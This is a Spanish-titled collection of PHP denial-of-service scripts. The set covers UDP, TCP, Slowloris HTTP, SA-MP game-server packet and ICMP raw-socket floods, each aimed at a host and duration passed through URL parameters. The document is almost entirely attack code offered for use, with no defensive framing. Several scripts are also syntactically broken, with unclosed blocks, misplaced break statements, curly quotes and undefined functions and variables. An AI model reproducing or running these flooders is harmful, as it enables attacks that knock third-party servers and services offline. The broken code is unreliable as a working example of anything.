Métodos de DoS con PHP

<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

   $exec_time = $_GET['time'];

   $time = time();
    $max_time = $time+$exec_time;

   $host = $_GET['host'];

   for($i=0;$i<65000;$i++){
    $out .= 'X';
    }
    while(1){
    $packets++;
    if(time() > $max_time){
    break;
    }
    $rand = rand(1,65000);
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if($fp){
    fwrite($fp, $out);
    fclose($fp);
    }
?>

<?php
$host = $_GET['host'];
set_time_limit(0);
$exec_time = (int)$_GET['time'];
$time = time();
$max_time = $time + $exec_time;
      if(time() > $max_time)
      {
         break;
      }
while(1){
$dataOut = “x08x00x10x26x74x65x73x74“;
      if ($_GET['port'] == "rand")
      {
         $rand = rand(1,65535);
      }
      else
      {
         $rand = (int)filter($_GET['port']);
      }
$socket = socket_create(AF_INET, SOCK_DGRAM, UDP);
socket_set_nonblock($socket);
socket_connect($socket, $host, $rand);
@socket_write($socket, $dataOut, strlen($dataOut));
socket_close($socket);
echo "UDP flood complete after: {$exec_time} seconds";
?>

<?php
    //TCP
    if(isset($_GET['host'])&&isset($_GET['time'])){
        $packets = 0;
        ignore_user_abort(TRUE);
        set_time_limit(0);
       
        $exec_time = $_GET['time'];
       
        $time = time();
        $max_time = $time+$exec_time;
     
        $host = $_GET['host'];
        $port = $_GET['port'];
       
        for($i=0;$i<65000;$i++){
                $out .= 'X';
        }
        while(1){
        $packets++;
                if(time() > $max_time){
                        break;
                }              
                $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
                if($fp){
                        fwrite($fp, $out);
                        fclose($fp);
                }
    ?>

<?php
$ip = $_GET['ip'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;

while(1){
  if(time() > $max_time){
    break;
  }

  $fp = fsockopen($ip, 80, $errno, $errstr, 140);
  if (!$fp) {
    echo "$errstr ($errno)<br />\n";
  } else {
    $out = "POST / HTTP/1.1\r\n";
    $out .= "Host: $ip\r\n";
    $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
    $out .= "Content-Length: 42\r\n\r\n";

    fwrite($fp, $out);
}
}
echo "Slowloris flood complete after: $exec_time seconds\n";
?>

<?php
if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
    $packets = 0;
    $fakepass = "4azr46a";
    $fakecmd = "exit";
    $sPacket = "";  
    ignore_user_abort(TRUE);
    set_time_limit(0);
   
    $exec_time = $_GET['time'];    
    $time = time();
    $max_time = $time+$exec_time;
    $host = $_GET['host'];    
    $port = $_GET['port'];    
   
    $aIPAddr = explode('.', $host);
    $sPacket .= "SAMP";
 
    $sPacket .= chr($aIPAddr[0]);
    $sPacket .= chr($aIPAddr[1]);
    $sPacket .= chr($aIPAddr[2]);
    $sPacket .= chr($aIPAddr[3]);
 
    $sPacket .= chr($port & 0xFF);
    $sPacket .= chr($port >> 8 & 0xFF);
 
    $sPacket .= 'x';
   
    $sPacket .= chr(strlen($fakepass) & 0xFF);
    $sPacket .= chr(strlen($fakepass) >> 8 & 0xFF);
    $sPacket .= $fakepass;
    $sPacket .= chr(strlen($fakecmd) & 0xFF);
    $sPacket .= chr(strlen($fakecmd) >> 8 & 0xFF);
    $sPacket .= $fakecmd;
   
    while(1){
    $packets++;
            if(time() > $max_time){
                    break;
            }
            //$rand = rand(1,65000);
            $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 2);
            fwrite($fp, $sPacket);
            if($fp){
                    fwrite($rSocket, $sPacket);
                    fclose($fp);
            }
?>

<?php

$host = $_GET['host'];
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
$max_time = $time + $exec_time;

      if(time() > $max_time)

      {

         break;

      }

while(1){
// 08 (ECHO), 00 (No Code), 10 26 (Checksum), 74 65 73 74 (The data: “test”)
$dataOut = “x08x00x10x26x74x65x73x74“;
 
// Raw socket, ICMP protocol
$socket = socket_create(AF_INET, SOCK_RAW, 1);
 
// Non blocking as in the actual script it is many sockets to different machines
socket_set_nonblock($socket);
 
// Connect to local machine (or any machine)
socket_connect($socket, $host, null);
 
// Send $dataOut
@socket_write($socket, $dataOut, strlen($dataOut));
 
// Close socket
socket_close($socket);}

echo "ICMP flood complete after: {$exec_time} seconds";
?>